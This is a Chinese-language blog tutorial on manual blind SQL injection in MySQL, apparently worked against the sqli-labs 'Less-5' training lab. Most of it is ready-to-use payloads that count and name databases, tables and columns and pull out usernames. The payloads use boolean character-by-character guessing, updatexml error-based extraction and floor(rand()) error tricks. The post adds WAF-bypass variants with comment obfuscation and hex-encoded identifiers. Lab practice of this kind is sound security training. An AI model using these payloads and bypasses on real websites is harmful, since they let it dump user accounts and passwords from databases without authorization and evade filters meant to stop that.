mysql手工注入——盲注

一 . 可以查看有几个数据库  

命令如下

' and (select count(*) from information_schema.schemata limit 0,1)=6 --+

证明有6个数据库。

 

二 . 查数据库名长度

大于7 回显正常

大于8 回显不正常

我们可以确定数据库名长度为8

 

三 . 猜库名

(1)使用left()方法去猜解库名

Database=’security’

 

绕WAF:

zzy/Less-5/?id=1/*&id=1' and (substr(database(),1,1)='e')--+*/

(2)使用extractvalue函数或updatexml函数报错处理

 

绕WAF:

Less-5/?id=1%27%20%20and%20`updatexml`/**/(1,concat(char(32,58,32),/*!11144database*/(/**/)),1)--+

所有库:

http://192.168.146.142/zzy/Less-5/?id=1' and `updatexml`(1,concat(0x7e,(select schema_name from `information_schema`.schemata limit 1,1),0x7e),1)--+  这里只用更改limit 1,1的值便可以一个一个出来

 

四 . 表名  

(1)使用extractvalue函数或updatexml函数

都可以一个一个查出来

(2) 二分法  逐字猜解

猜有几个表 命令如下:

' and (select count(*) from information_schema.tables where table_schema='security')=4--+

发现security库下有四张表

我们用substr方法去一个表一个表的进行猜解

猜第一张表,命令如下:

' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 --+

上图中1表示security库中第一行的表的第一个字符的ascii码大于100  回显正确

在图中2  这里简单举个例子关于substr()函数

Substr(a,b,c) 是在a中从第b个位置找, c表示找几个

这里1,1表示第一个字符

注:当a等于0或1时,都是从第一位开始截取

第一个字符ascii码是101 对应查表是e

第二个字符ascii码是109 对应查表是m

如法炮制 我们得到了第一行的表名为emails

 

接下来我们猜第二张表

命令如下:

' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>100 --+

确定第一个字符ascii码为114  是r

确定第二个字符是e

这样一个表一个表进行猜解

最终得到security库下四个表为 emails,referers,uagents,users

 

绕WAF:

http://192.168.146.142/zzy/Less-5/?id=1' and `updatexml`(1,concat(0x7e, (select table_name from `information_schema`.tables where table_schema=0x7365637572697479 limit 0,1),0x7e),1)--+

 

五 . 猜列名

(1)使用extractvalue函数或updatexml函数

(2)二分法

我们发现有个表名叫users很有可能就是保存敏感数据的地方 我们对users进行猜解字段

先猜有几个字段

' and (select count(*) from information_schema.columns where table_name='users')=3--+

发现有三个字段

 

跟前面一样 我们用substr方法逐字猜解,这里可用 ord(mid(语句)) 结果是一样的

命令如下:

' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+

得到第一个字段的第一个字符为i

这样一直猜下去 得到三个字段分别为id  username  password

绕WAF:

http://192.168.146.142/zzy/Less-5/?id=1' and `updatexml`(1,concat(0x7e, (select column_name from `information_schema`.columns where`table_schema`=0x7365637572697479 and table_name regexp 0x7573657273 limit 0,1),0x7e),1)--+

 

六 . 猜数据

(1)简单方法:and (select 1 from (select count(*),concat(((select username from security.users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 

绕WAF:

http://192.168.146.142/zzy/Less-5/?id=1'  and `updatexml`(1,concat(0x7e, (select username from `security`.users limit 0,1),0x7e),1)--+

用limit一个一个爆

(2)猜解一下username里是什么  命令如下:

' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

如法炮制 可以一直猜解下去

那么问题来了 到底有多少个username 多少个用户呢

命令为:' and (select count(*) from security.users)=13 --+  

回显正常  说明有13行  13个用户

慢慢猜把

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值